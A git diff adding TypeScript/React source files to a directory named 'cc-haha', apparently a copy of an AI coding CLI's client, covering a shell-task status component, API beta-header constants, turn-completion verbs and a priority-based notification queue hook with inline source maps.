NkIsRUFBQTtJQUFBN0IsQ0FBQSxPQUFBOEIsRUFBQTtJQUFBOUIsQ0FBQSxPQUFBMEMsR0FBQTtFQUFBO0lBQUFBLEdBQUEsR0FBQTFDLENBQUE7RUFBQTtFQUFBLElBQUEyQyxHQUFBO0VBQUEsSUFBQTNDLENBQUEsU0FBQWlCLEVBQUEsSUFBQWpCLENBQUEsU0FBQXFCLEdBQUEsSUFBQXJCLENBQUEsU0FBQXNCLEdBQUEsSUFBQXRCLENBQUEsU0FBQXVCLEdBQUEsSUFBQXZCLENBQUEsU0FBQXdCLEdBQUEsSUFBQXhCLENBQUEsU0FBQTBDLEdBQUE7SUExRVhDLEdBQUEsSUFBQyxFQUFHLENBQ1ksYUFBUSxDQUFSLENBQUF0QixHQUFPLENBQUMsQ0FDWixRQUFDLENBQUQsQ0FBQUMsR0FBQSxDQUFDLENBQ1gsU0FBUyxDQUFULENBQUFDLEdBQVEsQ0FBQyxDQUNFVCxTQUFhLENBQWJBLElBQVksQ0FBQyxDQUV4QixDQUFBNEIsR0FvRVEsQ0FDVixFQTNFQyxFQUFHLENBMkVFO0lBQUExQyxDQUFBLE9BQUFpQixFQUFBO0lBQUFqQixDQUFBLE9BQUFxQixHQUFBO0lBQUFyQixDQUFBLE9BQUFzQixHQUFBO0lBQUF0QixDQUFBLE9BQUF1QixHQUFBO0lBQUF2QixDQUFBLE9BQUF3QixHQUFBO0lBQUF4QixDQUFBLE9BQUEwQyxHQUFBO0lBQUExQyxDQUFBLE9BQUEyQyxHQUFBO0VBQUE7SUFBQUEsR0FBQSxHQUFBM0MsQ0FBQTtFQUFBO0VBQUEsT0EzRU4yQyxHQTJFTTtBQUFBO0FBL0dILFNBQUFNLE9BQUFDLElBQUEsRUFBQUMsQ0FBQTtFQUFBLE9BaUdTLENBQUMsR0FBRyxDQUFNQSxHQUFDLENBQURBLEVBQUEsQ0FBQyxDQUFnQixhQUFRLENBQVIsUUFBUSxDQUNqQyxDQUFDLElBQUksQ0FBTSxJQUFNLENBQU4sTUFBTSxDQUFFLENBQUFELElBQUksQ0FBQUUsSUFBSSxDQUFFLEVBQTVCLElBQUksQ0FDSixDQUFBRixJQUFJLENBQUFHLFlBQWEsR0FBRyxDQUtwQixJQUpDLENBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBUixLQUFPLENBQUMsQ0FDWCxLQUFHLENBQUUsQ0FBRSxDQUFBSCxJQUFJLENBQUFHLFlBQVksQ0FBRyxJQUFFLENBQzVCLENBQUFqRSxNQUFNLENBQUM4RCxJQUFJLENBQUFHLFlBQWEsRUFBRSxNQUFNLEVBQUUsQ0FDckMsRUFIQyxJQUFJLENBSVAsQ0FDRixFQVJDLEdBQUcsQ0FRRTtBQUFBO0FBekdmLFNBQUFoQixNQUFBaUIsQ0FBQTtFQUFBLE9BK0J1Q0EsQ0FBQyxDQUFBRixJQUFLLEtBQUssRUFBRTtBQUFBIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/cc-haha/src/components/tasks/ShellProgress.tsx b/cc-haha/src/components/tasks/ShellProgress.tsx
new file mode 100644
index 0000000..02bd020
--- /dev/null
+++ b/cc-haha/src/components/tasks/ShellProgress.tsx
@@ -0,0 +1,87 @@
+import { c as _c } from "react/compiler-runtime";
+import type { ReactNode } from 'react';
+import React from 'react';
+import { Text } from 'src/ink.js';
+import type { TaskStatus } from 'src/Task.js';
+import type { LocalShellTaskState } from 'src/tasks/LocalShellTask/guards.js';
+import type { DeepImmutable } from 'src/types/utils.js';
+type TaskStatusTextProps = {
+  status: TaskStatus;
+  label?: string;
+  suffix?: string;
+};
+export function TaskStatusText(t0) {
+  const $ = _c(4);
+  const {
+    status,
+    label,
+    suffix
+  } = t0;
+  const displayLabel = label ?? status;
+  const color = status === "completed" ? "success" : status === "failed" ? "error" : status === "killed" ? "warning" : undefined;
+  let t1;
+  if ($[0] !== color || $[1] !== displayLabel || $[2] !== suffix) {
+    t1 = <Text color={color} dimColor={true}>({displayLabel}{suffix})</Text>;
+    $[0] = color;
+    $[1] = displayLabel;
+    $[2] = suffix;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+export function ShellProgress(t0) {
+  const $ = _c(4);
+  const {
+    shell
+  } = t0;
+  switch (shell.status) {
+    case "completed":
+      {
+        let t1;
+        if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = <TaskStatusText status="completed" label="done" />;
+          $[0] = t1;
+        } else {
+          t1 = $[0];
+        }
+        return t1;
+      }
+    case "failed":
+      {
+        let t1;
+        if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = <TaskStatusText status="failed" label="error" />;
+          $[1] = t1;
+        } else {
+          t1 = $[1];
+        }
+        return t1;
+      }
+    case "killed":
+      {
+        let t1;
+        if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = <TaskStatusText status="killed" label="stopped" />;
+          $[2] = t1;
+        } else {
+          t1 = $[2];
+        }
+        return t1;
+      }
+    case "running":
+    case "pending":
+      {
+        let t1;
+        if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = <TaskStatusText status="running" />;
+          $[3] = t1;
+        } else {
+          t1 = $[3];
+        }
+        return t1;
+      }
+  }
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdE5vZGUiLCJSZWFjdCIsIlRleHQiLCJUYXNrU3RhdHVzIiwiTG9jYWxTaGVsbFRhc2tTdGF0ZSIsIkRlZXBJbW11dGFibGUiLCJUYXNrU3RhdHVzVGV4dFByb3BzIiwic3RhdHVzIiwibGFiZWwiLCJzdWZmaXgiLCJUYXNrU3RhdHVzVGV4dCIsInQwIiwiJCIsIl9jIiwiZGlzcGxheUxhYmVsIiwiY29sb3IiLCJ1bmRlZmluZWQiLCJ0MSIsIlNoZWxsUHJvZ3Jlc3MiLCJzaGVsbCIsIlN5bWJvbCIsImZvciJdLCJzb3VyY2VzIjpbIlNoZWxsUHJvZ3Jlc3MudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB0eXBlIHsgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnc3JjL2luay5qcydcbmltcG9ydCB0eXBlIHsgVGFza1N0YXR1cyB9IGZyb20gJ3NyYy9UYXNrLmpzJ1xuaW1wb3J0IHR5cGUgeyBMb2NhbFNoZWxsVGFza1N0YXRlIH0gZnJvbSAnc3JjL3Rhc2tzL0xvY2FsU2hlbGxUYXNrL2d1YXJkcy5qcydcbmltcG9ydCB0eXBlIHsgRGVlcEltbXV0YWJsZSB9IGZyb20gJ3NyYy90eXBlcy91dGlscy5qcydcblxudHlwZSBUYXNrU3RhdHVzVGV4dFByb3BzID0ge1xuICBzdGF0dXM6IFRhc2tTdGF0dXNcbiAgbGFiZWw/OiBzdHJpbmdcbiAgc3VmZml4Pzogc3RyaW5nXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBUYXNrU3RhdHVzVGV4dCh7XG4gIHN0YXR1cyxcbiAgbGFiZWwsXG4gIHN1ZmZpeCxcbn06IFRhc2tTdGF0dXNUZXh0UHJvcHMpOiBSZWFjdE5vZGUge1xuICBjb25zdCBkaXNwbGF5TGFiZWwgPSBsYWJlbCA/PyBzdGF0dXNcbiAgY29uc3QgY29sb3IgPVxuICAgIHN0YXR1cyA9PT0gJ2NvbXBsZXRlZCdcbiAgICAgID8gJ3N1Y2Nlc3MnXG4gICAgICA6IHN0YXR1cyA9PT0gJ2ZhaWxlZCdcbiAgICAgICAgPyAnZXJyb3InXG4gICAgICAgIDogc3RhdHVzID09PSAna2lsbGVkJ1xuICAgICAgICAgID8gJ3dhcm5pbmcnXG4gICAgICAgICAgOiB1bmRlZmluZWRcbiAgcmV0dXJuIChcbiAgICA8VGV4dCBjb2xvcj17Y29sb3J9IGRpbUNvbG9yPlxuICAgICAgKHtkaXNwbGF5TGFiZWx9XG4gICAgICB7c3VmZml4fSlcbiAgICA8L1RleHQ+XG4gIClcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIFNoZWxsUHJvZ3Jlc3Moe1xuICBzaGVsbCxcbn06IHtcbiAgc2hlbGw6IERlZXBJbW11dGFibGU8TG9jYWxTaGVsbFRhc2tTdGF0ZT5cbn0pOiBSZWFjdE5vZGUge1xuICBzd2l0Y2ggKHNoZWxsLnN0YXR1cykge1xuICAgIGNhc2UgJ2NvbXBsZXRlZCc6XG4gICAgICByZXR1cm4gPFRhc2tTdGF0dXNUZXh0IHN0YXR1cz1cImNvbXBsZXRlZFwiIGxhYmVsPVwiZG9uZVwiIC8+XG4gICAgY2FzZSAnZmFpbGVkJzpcbiAgICAgIHJldHVybiA8VGFza1N0YXR1c1RleHQgc3RhdHVzPVwiZmFpbGVkXCIgbGFiZWw9XCJlcnJvclwiIC8+XG4gICAgY2FzZSAna2lsbGVkJzpcbiAgICAgIHJldHVybiA8VGFza1N0YXR1c1RleHQgc3RhdHVzPVwia2lsbGVkXCIgbGFiZWw9XCJzdG9wcGVkXCIgLz5cbiAgICBjYXNlICdydW5uaW5nJzpcbiAgICBjYXNlICdwZW5kaW5nJzpcbiAgICAgIHJldHVybiA8VGFza1N0YXR1c1RleHQgc3RhdHVzPVwicnVubmluZ1wiIC8+XG4gIH1cbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLGNBQWNBLFNBQVMsUUFBUSxPQUFPO0FBQ3RDLE9BQU9DLEtBQUssTUFBTSxPQUFPO0FBQ3pCLFNBQVNDLElBQUksUUFBUSxZQUFZO0FBQ2pDLGNBQWNDLFVBQVUsUUFBUSxhQUFhO0FBQzdDLGNBQWNDLG1CQUFtQixRQUFRLG9DQUFvQztBQUM3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
\ No newline at end of file
diff --git a/cc-haha/src/constants/betas.ts b/cc-haha/src/constants/betas.ts
new file mode 100644
index 0000000..dc1383b
--- /dev/null
+++ b/cc-haha/src/constants/betas.ts
@@ -0,0 +1,52 @@
+import { feature } from 'bun:bundle'
+
+export const CLAUDE_CODE_20250219_BETA_HEADER = 'claude-code-20250219'
+export const INTERLEAVED_THINKING_BETA_HEADER =
+  'interleaved-thinking-2025-05-14'
+export const CONTEXT_1M_BETA_HEADER = 'context-1m-2025-08-07'
+export const CONTEXT_MANAGEMENT_BETA_HEADER = 'context-management-2025-06-27'
+export const STRUCTURED_OUTPUTS_BETA_HEADER = 'structured-outputs-2025-12-15'
+export const WEB_SEARCH_BETA_HEADER = 'web-search-2025-03-05'
+// Tool search beta headers differ by provider:
+// - Claude API / Foundry: advanced-tool-use-2025-11-20
+// - Vertex AI / Bedrock: tool-search-tool-2025-10-19
+export const TOOL_SEARCH_BETA_HEADER_1P = 'advanced-tool-use-2025-11-20'
+export const TOOL_SEARCH_BETA_HEADER_3P = 'tool-search-tool-2025-10-19'
+export const EFFORT_BETA_HEADER = 'effort-2025-11-24'
+export const TASK_BUDGETS_BETA_HEADER = 'task-budgets-2026-03-13'
+export const PROMPT_CACHING_SCOPE_BETA_HEADER =
+  'prompt-caching-scope-2026-01-05'
+export const FAST_MODE_BETA_HEADER = 'fast-mode-2026-02-01'
+export const REDACT_THINKING_BETA_HEADER = 'redact-thinking-2026-02-12'
+export const TOKEN_EFFICIENT_TOOLS_BETA_HEADER =
+  'token-efficient-tools-2026-03-28'
+export const SUMMARIZE_CONNECTOR_TEXT_BETA_HEADER = feature('CONNECTOR_TEXT')
+  ? 'summarize-connector-text-2026-03-13'
+  : ''
+export const AFK_MODE_BETA_HEADER = feature('TRANSCRIPT_CLASSIFIER')
+  ? 'afk-mode-2026-01-31'
+  : ''
+export const CLI_INTERNAL_BETA_HEADER =
+  process.env.USER_TYPE === 'ant' ? 'cli-internal-2026-02-09' : ''
+export const ADVISOR_BETA_HEADER = 'advisor-tool-2026-03-01'
+
+/**
+ * Bedrock only supports a limited number of beta headers and only through
+ * extraBodyParams. This set maintains the beta strings that should be in
+ * Bedrock extraBodyParams *and not* in Bedrock headers.
+ */
+export const BEDROCK_EXTRA_PARAMS_HEADERS = new Set([
+  INTERLEAVED_THINKING_BETA_HEADER,
+  CONTEXT_1M_BETA_HEADER,
+  TOOL_SEARCH_BETA_HEADER_3P,
+])
+
+/**
+ * Betas allowed on Vertex countTokens API.
+ * Other betas will cause 400 errors.
+ */
+export const VERTEX_COUNT_TOKENS_ALLOWED_BETAS = new Set([
+  CLAUDE_CODE_20250219_BETA_HEADER,
+  INTERLEAVED_THINKING_BETA_HEADER,
+  CONTEXT_MANAGEMENT_BETA_HEADER,
+])
diff --git a/cc-haha/src/constants/keys.ts b/cc-haha/src/constants/keys.ts
new file mode 100644
index 0000000..5971afa
--- /dev/null
+++ b/cc-haha/src/constants/keys.ts
@@ -0,0 +1,11 @@
+import { isEnvTruthy } from '../utils/envUtils.js'
+
+// Lazy read so ENABLE_GROWTHBOOK_DEV from globalSettings.env (applied after
+// module load) is picked up. USER_TYPE is a build-time define so it's safe.
+export function getGrowthBookClientKey(): string {
+  return process.env.USER_TYPE === 'ant'
+    ? isEnvTruthy(process.env.ENABLE_GROWTHBOOK_DEV)
+      ? ''
+      : ''
+    : ''
+}
diff --git a/cc-haha/src/constants/turnCompletionVerbs.ts b/cc-haha/src/constants/turnCompletionVerbs.ts
new file mode 100644
index 0000000..ed4ed54
--- /dev/null
+++ b/cc-haha/src/constants/turnCompletionVerbs.ts
@@ -0,0 +1,12 @@
+// Past tense verbs for turn completion messages
+// These verbs work naturally with "for [duration]" (e.g., "Worked for 5s")
+export const TURN_COMPLETION_VERBS = [
+  'Baked',
+  'Brewed',
+  'Churned',
+  'Cogitated',
+  'Cooked',
+  'Crunched',
+  'Sautéed',
+  'Worked',
+]
diff --git a/cc-haha/src/context/notifications.tsx b/cc-haha/src/context/notifications.tsx
new file mode 100644
index 0000000..8c214db
--- /dev/null
+++ b/cc-haha/src/context/notifications.tsx
@@ -0,0 +1,240 @@
+import type * as React from 'react';
+import { useCallback, useEffect } from 'react';
+import { useAppStateStore, useSetAppState } from 'src/state/AppState.js';
+import type { Theme } from '../utils/theme.js';
+type Priority = 'low' | 'medium' | 'high' | 'immediate';
+type BaseNotification = {
+  key: string;
+  /**
+   * Keys of notifications that this notification invalidates.
+   * If a notification is invalidated, it will be removed from the queue
+   * and, if currently displayed, cleared immediately.
+   */
+  invalidates?: string[];
+  priority: Priority;
+  timeoutMs?: number;
+  /**
+   * Combine notifications with the same key, like Array.reduce().
+   * Called as fold(accumulator, incoming) when a notification with a matching
+   * key already exists in the queue or is currently displayed.
+   * Returns the merged notification (should carry fold forward for future merges).
+   */
+  fold?: (accumulator: Notification, incoming: Notification) => Notification;
+};
+type TextNotification = BaseNotification & {
+  text: string;
+  color?: keyof Theme;
+};
+type JSXNotification = BaseNotification & {
+  jsx: React.ReactNode;
+};
+type AddNotificationFn = (content: Notification) => void;
+type RemoveNotificationFn = (key: string) => void;
+export type Notification = TextNotification | JSXNotification;
+const DEFAULT_TIMEOUT_MS = 8000;
+
+// Track current timeout to clear it when immediate notifications arrive
+let currentTimeoutId: NodeJS.Timeout | null = null;
+export function useNotifications(): {
+  addNotification: AddNotificationFn;
+  removeNotification: RemoveNotificationFn;
+} {
+  const store = useAppStateStore();
+  const setAppState = useSetAppState();
+
+  // Process queue when current notification finishes or queue changes
+  const processQueue = useCallback(() => {
+    setAppState(prev => {
+      const next = getNext(prev.notifications.queue);
+      if (prev.notifications.current !== null || !next) {
+        return prev;
+      }
+      currentTimeoutId = setTimeout((setAppState, nextKey, processQueue) => {
+        currentTimeoutId = null;
+        setAppState(prev => {
+          // Compare by key instead of reference to handle re-created notifications
+          if (prev.notifications.current?.key !== nextKey) {
+            return prev;
+          }
+          return {
+            ...prev,
+            notifications: {
+              queue: prev.notifications.queue,
+              current: null
+            }
+          };
+        });
+        processQueue();
+      }, next.timeoutMs ?? DEFAULT_TIMEOUT_MS, setAppState, next.key, processQueue);
+      return {
+        ...prev,
+        notifications: {
+          queue: prev.notifications.queue.filter(_ => _ !== next),
+          current: next
+        }
+      };
+    });
+  }, [setAppState]);
+  const addNotification = useCallback<AddNotificationFn>((notif: Notification) => {
+    // Handle immediate priority notifications
+    if (notif.priority === 'immediate') {
+      // Clear any existing timeout since we're showing a new immediate notification
+      if (currentTimeoutId) {
+        clearTimeout(currentTimeoutId);
+        currentTimeoutId = null;
+      }
+
+      // Set up timeout for the immediate notification
+      currentTimeoutId = setTimeout((setAppState, notif, processQueue) => {
+        currentTimeoutId = null;
+        setAppState(prev => {
+          // Compare by key instead of reference to handle re-created notifications
+          if (prev.notifications.current?.key !== notif.key) {
+            return prev;
+          }
+          return {
+            ...prev,
+            notifications: {
+              queue: prev.notifications.queue.filter(_ => !notif.invalidates?.includes(_.key)),
+              current: null
+            }
+          };
+        });
+        processQueue();
+      }, notif.timeoutMs ?? DEFAULT_TIMEOUT_MS, setAppState, notif, processQueue);
+
+      // Show the immediate notification right away
+      setAppState(prev => ({
+        ...prev,
+        notifications: {
+          current: notif,
+          queue:
+          // Only re-queue the current notification if it's not immediate
+          [...(prev.notifications.current ? [prev.notifications.current] : []), ...prev.notifications.queue].filter(_ => _.priority !== 'immediate' && !notif.invalidates?.includes(_.key))
+        }
+      }));
+      return; // IMPORTANT: Exit addNotification for immediate notifications
+    }
+
+    // Handle non-immediate notifications
+    setAppState(prev => {
+      // Check if we can fold into an existing notification with the same key
+      if (notif.fold) {
+        // Fold into current notification if keys match
+        if (prev.notifications.current?.key === notif.key) {
+          const folded = notif.fold(prev.notifications.current, notif);
+          // Reset timeout for the folded notification
+          if (currentTimeoutId) {
+            clearTimeout(currentTimeoutId);
+            currentTimeoutId = null;
+          }
+          currentTimeoutId = setTimeout((setAppState, foldedKey, processQueue) => {
+            currentTimeoutId = null;
+            setAppState(p => {
+              if (p.notifications.current?.key !== foldedKey) {
+                return p;
+              }
+              return {
+                ...p,
+                notifications: {
+                  queue: p.notifications.queue,
+                  current: null
+                }
+              };
+            });
+            processQueue();
+          }, folded.timeoutMs ?? DEFAULT_TIMEOUT_MS, setAppState, folded.key, processQueue);
+          return {
+            ...prev,
+            notifications: {
+              current: folded,
+              queue: prev.notifications.queue
+            }
+          };
+        }
+
+        // Fold into queued notification if keys match
+        const queueIdx = prev.notifications.queue.findIndex(_ => _.key === notif.key);
+        if (queueIdx !== -1) {
+          const folded = notif.fold(prev.notifications.queue[queueIdx]!, notif);
+          const newQueue = [...prev.notifications.queue];
+          newQueue[queueIdx] = folded;
+          return {
+            ...prev,
+            notifications: {
+              current: prev.notifications.current,
+              queue: newQueue
+            }
+          };
+        }
+      }
+
+      // Only add to queue if not already present (prevent duplicates)
+      const queuedKeys = new Set(prev.notifications.queue.map(_ => _.key));
+      const shouldAdd = !queuedKeys.has(notif.key) && prev.notifications.current?.key !== notif.key;
+      if (!shouldAdd) return prev;
+      const invalidatesCurrent = prev.notifications.current !== null && notif.invalidates?.includes(prev.notifications.current.key);
+      if (invalidatesCurrent && currentTimeoutId) {
+        clearTimeout(currentTimeoutId);
+        currentTimeoutId = null;
+      }
+      return {
+        ...prev,
+        notifications: {
+          current: invalidatesCurrent ? null : prev.notifications.current,
+          queue: [...prev.notifications.queue.filter(_ => _.priority !== 'immediate' && !notif.invalidates?.includes(_.key)), notif]
+        }
+      };
+    });
+
+    // Process queue after adding the notification
+    processQueue();
+  }, [setAppState, processQueue]);
+  const removeNotification = useCallback<RemoveNotificationFn>((key: string) => {
+    setAppState(prev => {
+      const isCurrent = prev.notifications.current?.key === key;
+      const inQueue = prev.notifications.queue.some(n => n.key === key);
+      if (!isCurrent && !inQueue) {
+        return prev;
+      }
+      if (isCurrent && currentTimeoutId) {
+        clearTimeout(currentTimeoutId);
+        currentTimeoutId = null;
+      }
+      return {
+        ...prev,
+        notifications: {
+          current: isCurrent ? null : prev.notifications.current,
+          queue: prev.notifications.queue.filter(n => n.key !== key)
+        }
+      };
+    });
+    processQueue();
+  }, [setAppState, processQueue]);
+
+  // Process queue on mount if there are notifications in the initial state.
+  // Imperative read (not useAppState) — a subscription in a mount-only
+  // effect would be vestigial and make every caller re-render on queue changes.
+  // eslint-disable-next-line react-hooks/exhaustive-deps
+  // biome-ignore lint/correctness/useExhaustiveDependencies: mount-only effect, store is a stable context ref
+  useEffect(() => {
+    if (store.getState().notifications.queue.length > 0) {
+      processQueue();
+    }
+  }, []);
+  return {
+    addNotification,
+    removeNotification
+  };
+}
+const PRIORITIES: Record<Priority, number> = {
+  immediate: 0,
+  high: 1,
+  medium: 2,
+  low: 3
+};
+export function getNext(queue: Notification[]): Notification | undefined {
+  if (queue.length === 0) return undefined;
+  return queue.reduce((min, n) => PRIORITIES[n.priority] < PRIORITIES[min.priority] ? n : min);
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZUNhbGxiYWNrIiwidXNlRWZmZWN0IiwidXNlQXBwU3RhdGVTdG9yZSIsInVzZVNldEFwcFN0YXRlIiwiVGhlbWUiLCJQcmlvcml0eSIsIkJhc2VOb3RpZmljYXRpb24iLCJrZXkiLCJpbnZhbGlkYXRlcyIsInByaW9yaXR5IiwidGltZW91dE1zIiwiZm9sZCIsImFjY3VtdWxhdG9yIiwiTm90aWZpY2F0aW9uIiwiaW5jb21pbmciLCJUZXh0Tm90aWZpY2F0aW9uIiwidGV4dCIsImNvbG9yIiwiSlNYTm90aWZpY2F0aW9uIiwianN4IiwiUmVhY3ROb2RlIiwiQWRkTm90aWZpY2F0aW9uRm4iLCJjb250ZW50IiwiUmVtb3ZlTm90aWZpY2F0aW9uRm4iLCJERUZBVUxUX1RJTUVPVVRfTVMiLCJjdXJyZW50VGltZW91dElkIiwiTm9kZUpTIiwiVGltZW91dCIsInVzZU5vdGlmaWNhdGlvbnMiLCJhZGROb3RpZmljYXRpb24iLCJyZW1vdmVOb3RpZmljYXRpb24iLCJzdG9yZSIsInNldEFwcFN0YXRlIiwicHJvY2Vzc1F1ZXVlIiwicHJldiIsIm5leHQiLCJnZXROZXh0Iiwibm90aWZpY2F0aW9ucyIsInF1ZXVlIiwiY3VycmVudCIsInNldFRpbWVvdXQiLCJuZXh0S2V5IiwiZmlsdGVyIiwiXyIsIm5vdGlmIiwiY2xlYXJUaW1lb3V0IiwiaW5jbHVkZXMiLCJmb2xkZWQiLCJmb2xkZWRLZXkiLCJwIiwicXVldWVJZHgiLCJmaW5kSW5kZXgiLCJuZXdRdWV1ZSIsInF1ZXVlZEtleXMiLCJTZXQiLCJtYXAiLCJzaG91bGRBZGQiLCJoYXMiLCJpbnZhbGlkYXRlc0N1cnJlbnQiLCJpc0N1cnJlbnQiLCJpblF1ZXVlIiwic29tZSIsIm4iLCJnZXRTdGF0ZSIsImxlbmd0aCIsIlBSSU9SSVRJRVMiLCJSZWNvcmQiLCJpbW1lZGlhdGUiLCJoaWdoIiwibWVkaXVtIiwibG93IiwidW5kZWZpbmVkIiwicmVkdWNlIiwibWluIl0sInNvdXJjZXMiOlsibm90aWZpY2F0aW9ucy50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHR5cGUgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IHVzZUNhbGxiYWNrLCB1c2VFZmZlY3QgfSBmcm9tICdyZWFjdCdcbmltcG9ydCB7IHVzZUFwcFN0YXRlU3RvcmUsIHVzZVNldEFwcFN0YXRlIH0gZnJvbSAnc3JjL3N0YXRlL0FwcFN0YXRlLmpzJ1xuaW1wb3J0IHR5cGUgeyBUaGVtZSB9IGZyb20gJy4uL3V0aWxzL3RoZW1lLmpzJ1xuXG50eXBlIFByaW9yaXR5ID0gJ2xvdycgfCAnbWVkaXVtJyB8ICdoaWdoJyB8ICdpbW1lZGlhdGUnXG5cbnR5cGUgQmFzZU5vdGlmaWNhdGlvbiA9IHtcbiAga2V5OiBzdHJpbmdcbiAgLyoqXG4gICAqIEtleXMgb2Ygbm90aWZpY2F0aW9ucyB0aGF0IHRoaXMgbm90aWZpY2F0aW9uIGludmFsaWRhdGVzLlxuICAgKiBJZiBhIG5vdGlmaWNhdGlvbiBpcyBpbnZhbGlkYXRlZCwgaXQgd2lsbCBiZSByZW1vdmVkIGZyb20gdGhlIHF1ZXVlXG4gICAqIGFuZCwgaWYgY3VycmVudGx5IGRpc3BsYXllZCwgY2xlYXJlZCBpbW1lZGlhdGVseS5cbiAgICovXG4gIGludmFsaWRhdGVzPzogc3RyaW5nW11cbiAgcHJpb3JpdHk6IFByaW9yaXR5XG4gIHRpbWVvdXRNcz86IG51bWJlclxuICAvKipcbiAgICogQ29tYmluZSBub3RpZmljYXRpb25zIHdpdGggdGhlIHNhbWUga2V5LCBsaWtlIEFycmF5LnJlZHVjZSgpLlxuICAgKiBDYWxsZWQgYXMgZm9sZChhY2N1bXVsYXRvciwgaW5jb21pbmcpIHdoZW4gYSBub3RpZmljYXRpb24gd2l0aCBhIG1hdGNoaW